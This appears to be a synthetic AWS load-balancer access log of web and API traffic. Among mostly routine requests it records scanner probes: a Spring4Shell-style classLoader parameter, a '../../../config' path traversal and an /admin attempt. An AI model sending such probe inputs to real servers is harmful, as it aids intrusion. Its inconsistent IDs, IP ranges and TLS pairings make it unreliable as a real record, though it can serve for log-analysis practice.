"Root=1-6723c03d-8fc3ff2d87cb49d381d313c1" "prod-api-alb.example.com" "-" 0 2024-11-01T00:37:01.053460Z "forward" "-" "-" "10.0.234.57:443" "200" "-" "-" +https 2024-11-01T00:37:02.946238Z prod-web-alb 96.37.39.60:44870 10.0.86.232:443 0.092159 0.025728 0.094905 302 302 425 6741 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c03e-1249efbff8164eb690642ffc" "prod-web-alb.example.com" "-" 5 2024-11-01T00:37:02.946238Z "forward" "-" "-" "10.0.86.232:443" "302" "-" "-" +http 2024-11-01T00:37:04.591843Z staging-alb 157.21.95.36:12455 22.181.153.98:8080 0.048879 0.491628 0.116410 200 200 687 8724 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c040-887c334824f9411e9b43794f" "staging-alb.example.com" "-" 7 2024-11-01T00:37:04.591843Z "forward" "-" "-" "22.181.153.98:8080" "200" "-" "-" +https 2024-11-01T00:37:05.491943Z prod-web-alb 114.109.221.155:64260 10.0.224.201:443 0.080047 0.404891 0.067748 200 200 185 2134 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c041-c21fc1d185474749831160e3" "prod-web-alb.example.com" "-" 1 2024-11-01T00:37:05.491943Z "forward" "-" "-" "10.0.224.201:443" "200" "-" "-" +https 2024-11-01T00:37:07.099850Z prod-api-alb 36.1.33.29:13020 10.0.190.104:443 0.053947 0.153068 0.004765 200 200 339 9501 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c043-e5cc870bd3c9445dab4b4692" "prod-api-alb.example.com" "-" 1 2024-11-01T00:37:07.099850Z "forward" "-" "-" "10.0.190.104:443" "200" "-" "-" +https 2024-11-01T00:37:08.085820Z prod-api-alb 24.117.180.187:31075 10.0.100.108:443 0.027412 0.015902 0.018576 200 200 558 13221 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c044-91cf24a8d2c34882ad7d0b37" "prod-api-alb.example.com" "-" 10 2024-11-01T00:37:08.085820Z "forward" "-" "-" "10.0.100.108:443" "200" "-" "-" +https 2024-11-01T00:37:09.534515Z prod-api-alb 97.161.115.5:64247 10.0.86.248:443 0.036888 0.310078 0.069675 200 200 547 8335 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c045-b5d52e18ee834d3d82c06acd" "prod-api-alb.example.com" "-" 8 2024-11-01T00:37:09.534515Z "forward" "-" "-" "10.0.86.248:443" "200" "-" "-" +https 2024-11-01T00:37:11.015240Z prod-api-alb 183.100.106.227:12248 10.0.27.85:443 0.001661 0.252078 0.066276 302 302 436 11108 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c047-9ff8b7e1daf34b06b365bd97" "prod-api-alb.example.com" "-" 1 2024-11-01T00:37:11.015240Z "forward" "-" "-" "10.0.27.85:443" "302" "-" "-" +https 2024-11-01T00:37:12.392841Z prod-api-alb 6.24.148.250:29059 10.0.31.174:443 0.085754 0.476683 0.056983 200 200 828 3750 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c048-ab35c6b6683244a69bcba125" "prod-api-alb.example.com" "-" 1 2024-11-01T00:37:12.392841Z "forward" "-" "-" "10.0.31.174:443" "200" "-" "-" +https 2024-11-01T00:37:13.457127Z staging-alb 45.155.205.9:11504 239.224.211.146:80 0.116512 0.102706 0.092648 404 404 995 6967 "POST /path?class.module.classLoader.URLs%5B0%5D=0 HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c049-57bb32e260fa4f208bd44de0" "-" "-" 5 2024-11-01T00:37:13.457127Z "forward" "-" "-" "239.224.211.146:80" "404" "-" "-" +https 2024-11-01T00:37:14.147324Z prod-api-alb 200.179.58.191:48565 10.0.4.207:443 0.029705 0.090819 0.087835 200 200 493 1100 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c04a-4433423609c94ccaae7352a7" "prod-api-alb.example.com" "-" 5 2024-11-01T00:37:14.147324Z "forward" "-" "-" "10.0.4.207:443" "200" "-" "-" +https 2024-11-01T00:37:16.121422Z prod-api-alb 28.125.221.101:21079 10.0.38.133:443 0.081308 0.172347 0.072487 200 200 785 7154 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c04c-7e91aa48dcc34d8497b6362e" "prod-api-alb.example.com" "-" 6 2024-11-01T00:37:16.121422Z "forward" "-" "-" "10.0.38.133:443" "200" "-" "-" +https 2024-11-01T00:37:17.393140Z prod-web-alb 78.113.77.143:40185 10.0.17.165:443 0.045865 0.467559 0.093809 200 200 524 9051 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c04d-726512e3b5c44870b76a4405" "prod-web-alb.example.com" "-" 9 2024-11-01T00:37:17.393140Z "forward" "-" "-" "10.0.17.165:443" "200" "-" "-" +https 2024-11-01T00:37:18.615782Z prod-web-alb 125.228.122.72:19926 10.0.115.45:443 0.008829 0.339750 0.069633 301 301 755 7030 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c04e-ef0529df5979423b8626a67d" "prod-web-alb.example.com" "-" 6 2024-11-01T00:37:18.615782Z "forward" "-" "-" "10.0.115.45:443" "301" "-" "-" +https 2024-11-01T00:37:19.487715Z prod-web-alb 55.194.13.174:46305 10.0.133.143:443 0.017594 0.426088 0.022458 404 404 176 7841 "GET /cart HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c04f-d0399f12eb444cdd93721055" "prod-web-alb.example.com" "-" 1 2024-11-01T00:37:19.487715Z "forward" "-" "-" "10.0.133.143:443" "404" "-" "-" +https 2024-11-01T00:37:19.683059Z prod-web-alb 171.160.77.92:27934 10.0.170.237:443 0.099617 0.237430 0.029585 302 302 85 7880 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c04f-e96088fbbd6b4e38904f8815" "prod-web-alb.example.com" "-" 9 2024-11-01T00:37:19.683059Z "forward" "-" "-" "10.0.170.237:443" "302" "-" "-" +https 2024-11-01T00:37:21.045577Z prod-api-alb 193.27.228.181:55613 10.0.42.250:443 0.072899 0.014506 0.059230 404 404 890 1211 "GET /api/../../../config HTTP/1.1" "Nmap Scripting Engine (https://nmap.org/book/nse.html)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c051-2bc1c963056e409cb4184f51" "-" "-" 2 2024-11-01T00:37:21.045577Z "forward" "-" "-" "10.0.42.250:443" "404" "-" "-" +https 2024-11-01T00:37:22.349918Z prod-api-alb 170.75.68.28:33077 10.0.10.58:443 0.069792 0.304050 0.052370 301 301 6 11330 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c052-9f374769820b407c8ede7bfa" "prod-api-alb.example.com" "-" 3 2024-11-01T00:37:22.349918Z "forward" "-" "-" "10.0.10.58:443" "301" "-" "-" +https 2024-11-01T00:37:23.302216Z prod-web-alb 207.44.155.121:22833 10.0.168.89:443 0.007210 0.311851 0.032219 302 302 280 9572 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c053-a35eff49158149e4bf5a9d40" "prod-web-alb.example.com" "-" 7 2024-11-01T00:37:23.302216Z "forward" "-" "-" "10.0.168.89:443" "302" "-" "-" +https 2024-11-01T00:37:25.279527Z prod-web-alb 210.47.54.138:53470 10.0.238.152:443 0.049951 0.336000 0.038059 302 302 85 5056 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c055-6c7b2b59f9504c68a5eaef65" "prod-web-alb.example.com" "-" 8 2024-11-01T00:37:25.279527Z "forward" "-" "-" "10.0.238.152:443" "302" "-" "-" +https 2024-11-01T00:37:26.699972Z staging-alb 124.198.202.190:47251 154.175.13.154:8080 0.030270 0.450519 0.131662 200 200 401 11258 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c056-94a870e0229d4035b8de2e66" "staging-alb.example.com" "-" 4 2024-11-01T00:37:26.699972Z "forward" "-" "-" "154.175.13.154:8080" "200" "-" "-" +https 2024-11-01T00:37:28.419622Z staging-alb 128.152.32.180:57684 5.5.64.86:80 0.091593 0.266438 0.139663 200 200 934 8409 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c058-35fc27a3d9be4c1888199670" "staging-alb.example.com" "-" 3 2024-11-01T00:37:28.419622Z "forward" "-" "-" "5.5.64.86:80" "200" "-" "-" +https 2024-11-01T00:37:29.005298Z prod-web-alb 21.145.220.12:48448 10.0.45.58:443 0.003168 0.119493 0.047531 200 200 196 478 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c059-903ef05e815a42c189073a36" "prod-web-alb.example.com" "-" 5 2024-11-01T00:37:29.005298Z "forward" "-" "-" "10.0.45.58:443" "200" "-" "-" +https 2024-11-01T00:37:29.928239Z prod-api-alb 111.151.7.102:38914 10.0.61.106:443 0.058173 0.189531 0.027514 404 404 185 1657 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c059-7936c798da3b4f60815b501f" "prod-api-alb.example.com" "-" 3 2024-11-01T00:37:29.928239Z "forward" "-" "-" "10.0.61.106:443" "404" "-" "-" +https 2024-11-01T00:37:30.693068Z prod-api-alb 125.245.119.181:39817 10.0.230.210:443 0.061220 0.335517 0.086871 200 200 99 6813 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c05a-64d604f656034224b7794193" "prod-api-alb.example.com" "-" 2 2024-11-01T00:37:30.693068Z "forward" "-" "-" "10.0.230.210:443" "200" "-" "-" +https 2024-11-01T00:37:32.501958Z staging-alb 75.200.240.203:12261 241.200.73.127:80 0.029327 0.608835 0.091338 404 404 286 763 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c05c-918d1c80be12411985ca8787" "staging-alb.example.com" "-" 5 2024-11-01T00:37:32.501958Z "forward" "-" "-" "241.200.73.127:80" "404" "-" "-" +https 2024-11-01T00:37:33.998587Z prod-api-alb 122.36.222.80:57768 10.0.15.225:443 0.054898 0.303293 0.076300 404 404 664 12623 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c05d-d58fdd47d483419f8f86284d" "prod-api-alb.example.com" "-" 3 2024-11-01T00:37:33.998587Z "forward" "-" "-" "10.0.15.225:443" "404" "-" "-" +http 2024-11-01T00:37:34.141905Z staging-alb 204.59.162.203:52153 71.90.201.16:8080 0.021127 0.312310 0.149750 200 200 149 9819 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c05e-66ea01e0c9ec41dd958ecca6" "staging-alb.example.com" "-" 4 2024-11-01T00:37:34.141905Z "forward" "-" "-" "71.90.201.16:8080" "200" "-" "-" +https 2024-11-01T00:37:34.687010Z prod-api-alb 141.33.56.191:57062 10.0.24.57:443 0.041442 0.316089 0.040615 301 301 738 3315 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c05e-681ba158d300498d9c8ba100" "prod-api-alb.example.com" "-" 4 2024-11-01T00:37:34.687010Z "forward" "-" "-" "10.0.24.57:443" "301" "-" "-" +https 2024-11-01T00:37:36.260831Z staging-alb 12.239.147.79:16526 12.210.18.22:8080 0.108632 0.531838 0.045343 200 200 451 7610 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c060-d5e0584870c742af8db436e3" "staging-alb.example.com" "-" 2 2024-11-01T00:37:36.260831Z "forward" "-" "-" "12.210.18.22:8080" "200" "-" "-" +https 2024-11-01T00:37:37.535528Z prod-web-alb 149.52.6.216:64825 10.0.225.176:443 0.041141 0.115979 0.061700 302 302 936 6610 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c061-895a41c41c1940d3aa90961b" "prod-web-alb.example.com" "-" 1 2024-11-01T00:37:37.535528Z "forward" "-" "-" "10.0.225.176:443" "302" "-" "-" +https 2024-11-01T00:37:38.388708Z prod-api-alb 196.237.210.94:30144 10.0.237.39:443 0.050268 0.248353 0.044165 200 200 258 9986 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c062-8f91fe6b132e4398a3f2e01b" "prod-api-alb.example.com" "-" 4 2024-11-01T00:37:38.388708Z "forward" "-" "-" "10.0.237.39:443" "200" "-" "-" +https 2024-11-01T00:37:39.579185Z prod-web-alb 32.109.66.109:51467 10.0.6.1:443 0.084122 0.189080 0.014141 200 200 488 3053 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c063-4f61dc48c2204f7f857808bb" "prod-web-alb.example.com" "-" 5 2024-11-01T00:37:39.579185Z "forward" "-" "-" "10.0.6.1:443" "200" "-" "-" +https 2024-11-01T00:37:39.773403Z prod-web-alb 214.98.24.130:10318 10.0.173.94:443 0.044562 0.335751 0.004869 404 404 414 537 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c063-90d72d72e88b4237824b9a1a" "prod-web-alb.example.com" "-" 7 2024-11-01T00:37:39.773403Z "forward" "-" "-" "10.0.173.94:443" "404" "-" "-" +https 2024-11-01T00:37:40.406631Z prod-web-alb 181.0.72.9:14640 10.0.37.243:443 0.072975 0.100256 0.056534 404 404 958 12994 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c064-939a971219024791b33eefcf" "prod-web-alb.example.com" "-" 7 2024-11-01T00:37:40.406631Z "forward" "-" "-" "10.0.37.243:443" "404" "-" "-" +http 2024-11-01T00:37:41.356123Z staging-alb 124.120.236.75:33441 135.140.25.105:443 0.109446 0.723169 0.008291 200 200 396 10810 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c065-46e7c2790bd344b494b2fe7b" "staging-alb.example.com" "-" 7 2024-11-01T00:37:41.356123Z "forward" "-" "-" "135.140.25.105:443" "200" "-" "-" +https 2024-11-01T00:37:41.633559Z prod-api-alb 26.176.41.16:23941 10.0.63.182:443 0.053371 0.116538 0.094452 200 200 34 9715 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c065-b39678ea47744275ad79b01f" "prod-api-alb.example.com" "-" 4 2024-11-01T00:37:41.633559Z "forward" "-" "-" "10.0.63.182:443" "200" "-" "-" +https 2024-11-01T00:37:42.926936Z prod-web-alb 47.76.204.244:45216 10.0.252.51:443 0.029827 0.024554 0.035961 200 200 321 7979 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c066-aaafc277cac8440fbff679c3" "prod-web-alb.example.com" "-" 6 2024-11-01T00:37:42.926936Z "forward" "-" "-" "10.0.252.51:443" "200" "-" "-" +https 2024-11-01T00:37:44.391568Z prod-web-alb 209.202.220.171:64948 10.0.37.109:443 0.006531 0.448152 0.048082 301 301 469 12632 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c068-1f62f66df2e4427cb985ad0e" "prod-web-alb.example.com" "-" 10 2024-11-01T00:37:44.391568Z "forward" "-" "-" "10.0.37.109:443" "301" "-" "-" +http 2024-11-01T00:37:45.916492Z staging-alb 100.208.221.123:29418 251.42.96.189:80 0.084207 0.611937 0.121052 200 200 960 12145 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c069-9ef0021b8c654b2daf8a6807" "staging-alb.example.com" "-" 8 2024-11-01T00:37:45.916492Z "forward" "-" "-" "251.42.96.189:80" "200" "-" "-" +https 2024-11-01T00:37:46.450281Z prod-api-alb 193.27.228.87:23328 10.0.34.194:443 0.076611 0.104202 0.091168 401 401 635 455 "GET /admin HTTP/1.1" "python-requests/2.31.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c06a-fc9ef653957f42d18482850b" "-" "-" 10 2024-11-01T00:37:46.450281Z "forward" "-" "-" "10.0.34.194:443" "401" "-" "-" +https 2024-11-01T00:37:47.747873Z prod-api-alb 32.209.67.57:25534 10.0.247.234:443 0.092460 0.348813 0.009942 302 302 766 11110 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c06b-8bf674c50935446e9316991c" "prod-api-alb.example.com" "-" 2 2024-11-01T00:37:47.747873Z "forward" "-" "-" "10.0.247.234:443" "302" "-" "-" +https 2024-11-01T00:37:48.616502Z prod-api-alb 239.105.116.91:61192 10.0.30.63:443 0.050475 0.107561 0.097958 404 404 257 4357 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c06c-b190781eec7c4a868b16327d" "prod-api-alb.example.com" "-" 0 2024-11-01T00:37:48.616502Z "forward" "-" "-" "10.0.30.63:443" "404" "-" "-" +http 2024-11-01T00:37:49.808968Z staging-alb 65.103.53.229:16682 66.198.138.205:80 0.057852 0.104570 0.007041 302 302 283 5462 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c06d-891743e77ac24da8a79be4cf" "staging-alb.example.com" "-" 5 2024-11-01T00:37:49.808968Z "forward" "-" "-" "66.198.138.205:80" "302" "-" "-" +http 2024-11-01T00:37:51.618244Z staging-alb 106.99.156.35:20009 56.151.178.238:8080 0.136053 0.086334 0.098002 404 404 692 11888 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c06f-1d60933a076d4262b4577904" "staging-alb.example.com" "-" 9 2024-11-01T00:37:51.618244Z "forward" "-" "-" "56.151.178.238:8080" "404" "-" "-" +http 2024-11-01T00:37:51.785207Z staging-alb 172.58.103.238:34298 149.80.38.178:80 0.097045 0.456267 0.026806 404 404 737 6885 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c06f-211b57339f14467b9ec32029" "staging-alb.example.com" "-" 7 2024-11-01T00:37:51.785207Z "forward" "-" "-" "149.80.38.178:80" "404" "-" "-" +http 2024-11-01T00:37:53.352477Z staging-alb 211.182.170.93:48274 152.177.123.225:8080 0.117822 0.130049 0.040251 200 200 372 7877 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c071-f39b5b2a7ed84d5187a7bebe" "staging-alb.example.com" "-" 10 2024-11-01T00:37:53.352477Z "forward" "-" "-" "152.177.123.225:8080" "200" "-" "-" +https 2024-11-01T00:37:54.556392Z prod-api-alb 58.141.253.210:58134 10.0.41.136:443 0.022723 0.278594 0.024506 302 302 494 483 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c072-634a5ddc978548a9a50cad8d" "prod-api-alb.example.com" "-" 9 2024-11-01T00:37:54.556392Z "forward" "-" "-" "10.0.41.136:443" "302" "-" "-" +https 2024-11-01T00:37:55.735136Z prod-api-alb 